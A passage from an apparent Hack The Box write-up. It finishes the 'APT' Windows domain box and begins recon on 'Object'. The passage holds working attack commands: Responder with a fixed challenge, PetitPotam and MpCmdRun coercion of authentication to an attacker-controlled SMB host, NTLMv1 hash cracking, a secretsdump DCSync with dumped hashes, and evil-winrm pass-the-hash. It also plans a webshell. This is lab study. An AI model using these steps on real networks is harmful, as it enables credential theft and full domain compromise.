&gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I understood what the command did, but I didn&amp;rsquo;t know how to exploit it—or perhaps there was no vulnerability here at all. Still, it gave me a lead, so I searched further.&lt;/p&gt;&#10;&lt;p&gt;While looking into NTLMv1 abuse, I found this page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/windows-hardening/ntlm" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/windows-hardening/ntlm&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It also explained how to configure &lt;code&gt;lmcompatibilitylevel&lt;/code&gt; under Lsa.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It included exploitation ideas too, though not a concrete procedure. I felt this was an NTLM relay attack, which I had studied before. If the domain controller had printing enabled and the Spooler service was running, I could try the method I&amp;rsquo;d recorded. If that failed, I would keep searching—specifically for NTLMv1 attacks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Apparently that wasn&amp;rsquo;t it. Perhaps this wasn&amp;rsquo;t an NTLM relay after all. When I tried Get-Service Spooler, it was inaccessible, maybe because I lacked permission or because the service wasn&amp;rsquo;t enabled. When I tried printerbug, it couldn&amp;rsquo;t resolve the domain name I supplied either.&lt;/p&gt;&#10;&lt;p&gt;I continued investigating the NTLMv1 attack described above.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read these two posts side by side.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Edit /etc/responder/Responder.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTPS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DNS = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LDAP = On&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Custom challenge.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; Use &amp;#34;Random&amp;#34; for generating a random challenge for each requests (Default)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Challenge = 1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I eth0 --lm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Two methods are described: one without authentication and one with authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.exe Responder-IP DC-IP # Patched around August 2021&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;When I opened the tool&amp;rsquo;s page and saw a hippo, it suddenly looked very familiar. Apparently I had studied it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I really had documented it, right below the printer authentication technique I&amp;rsquo;d just tried.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The printer service wasn&amp;rsquo;t enabled, but these two services definitely were. The prerequisites were satisfied and the version matched. The only difference was that whenever I&amp;rsquo;d studied relaying before, I had used ntlmrelayx, while the last few lab tutorials had all used responder.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Triggering authentication failed. No problem—I could upload it to the target and use this method instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.exe Responder-IP DC-IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After all my searching, I couldn&amp;rsquo;t find any other way to make the domain controller initiate authentication. It was time to check the writeups again. I found only three writeups for this machine. My goal was to understand how each person approached it and expand my own thinking, but all three chose MpCmdRun.exe here.&lt;/p&gt;&#10;&lt;p&gt;This is an antivirus tool. The writeups started an smbserver and made MpCmdRun.exe scan a remote file. The remote scan required authentication, which let them capture it. This seemed like a standard technique, so I added it to my notes.&lt;/p&gt;&#10;&lt;p&gt;I used dir and found many copies of MpCmdRun.exe. Any one of them would do.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point my brain stopped working. I admit I&amp;rsquo;d spent more than a day on this machine. You can&amp;rsquo;t just skim over new material when you&amp;rsquo;re trying to learn it, so I&amp;rsquo;d been thinking hard and trying to memorize everything. I was getting a little dizzy. In fact, the technique I had tried earlier did work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had selected the wrong network interface. After switching to the correct one, I used the same exploit again.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had a result. NTLM relay worked fine. The printer technique didn&amp;rsquo;t, because none of its required services were enabled. The antivirus technique worked too.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Client : 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Username : HTB\APT$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Because it captured the same value, it displayed a skip message. I continued following the earlier tutorial, &lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;Pentest_Note/wiki/Lateral Movement/NTLM Relay and Man-in-the-Middle Attacks/Capturing and Cracking Net-NTLMv1 and NTLMv1 Hashes.md at master · xiaoy-sec/Pentest_Note&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://crack.sh/" target="_blank" rel="noopener"&#10; &gt;https://crack.sh/&lt;/a&gt; was down for maintenance, so I chose hashcat.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;hashcat was too slow, so I switched to john.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlm 1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In fact, crack.sh, hashcat, and john could all recover the password, but each would take a long time. I simply used the result from the writeup.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d167c3238864b12f5f82feae86a7f798&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This was the password for APT$. Names ending in &lt;code&gt;$&lt;/code&gt; are generally machine accounts, and machine accounts have DCSync privileges by default. DCSync allows an account to impersonate a domain controller for replication, so I could go straight to the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\$@htb.local -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Using the DRSUAPI method to get NTDS.DIT secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine took me more than a day. It was the hardest lab I&amp;rsquo;d encountered so far, and I reread the writeups many times because it involved so many different techniques. Without the writeups, I think I would have been completely stuck. I&amp;rsquo;m already starting to forget the RPC work from the beginning. Apart from RPC, which I hadn&amp;rsquo;t expected, the rest involved fairly standard services and penetration techniques—but you really need to think more broadly. This was an excellent machine, and everything fit the theory perfectly. For example, the username/password brute-force could only use the Kerberos protocol. None of the scripts I found worked, but once I broadened my approach, getTGT could brute-force the hashes too. That was a brilliant idea. Then there was the APT$ machine account. Machine accounts generally have DCSync privileges, so it could directly replicate NTDS.dit. I also learned a new way to trigger NTLM authentication.&lt;/p&gt;&#10;&lt;p&gt;The machine covered registry queries, writing Bash shell scripts, auditing PowerShell, filtering text (either Bash or Python works; I used Python here), modifying Python scripts (the original programs wouldn&amp;rsquo;t run at all, so I spent ages changing them without managing to fix them), and passing hashes across all kinds of protocols.&lt;/p&gt;&#10;&lt;p&gt;It touched an enormous range of topics. Later on, I&amp;rsquo;ll probably replay it together with Forest and Fuse. What sets it apart from the previous machines is that those weren&amp;rsquo;t really conventional—they focused on techniques unique to particular services. This one was conventional, but demanded deep familiarity. Otherwise, you would never think of all the approaches above.&lt;/p&gt;&#10;&lt;h2 id="21object"&gt;&lt;a href="#21object" class="header-anchor"&gt;&lt;/a&gt;21.Object&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 gave me a domain name. There did not seem to be much there, just a redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;8080&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;admin&lt;/code&gt; user exists. I do not think this is meant to make me manually dig for vulnerabilities; there has to be a known way to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin panel is similar to the Azure DevOps setup I studied before, except that one mainly targeted ASPX while this one targets Java. So, in theory, if I can get into the admin panel, I should be able to upload a JSP file just like before and have it deployed normally to the site. That probably means the service on port 80 is deployed from here. All I need to do is get into the admin panel and deploy my webshell. Of course, there could also be automated deployment on a subdomain, so I will need to get in and take a look.&lt;/p&gt;&#10;&lt;p&gt;I casually created an account and entered the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As far as I know, the path to a shell is right here. Nearly every blog post I found points down this path, but my privileges are clearly insufficient.&lt;/p&gt;&#10;&lt;p&gt;Also, this is version 2.317.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was released on October 19, 2021, so I need to look for exploits published after 2021. What I can confirm right now is that getting the &lt;code&gt;admin&lt;/code&gt; password would unquestionably let me get a shell. However, the box was released on February 8, 2022, which means that if no new CVE appeared during those four months, an exploit would not be the intended route and I would need another method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0626.zh.webp" alt="" loading="lazy" 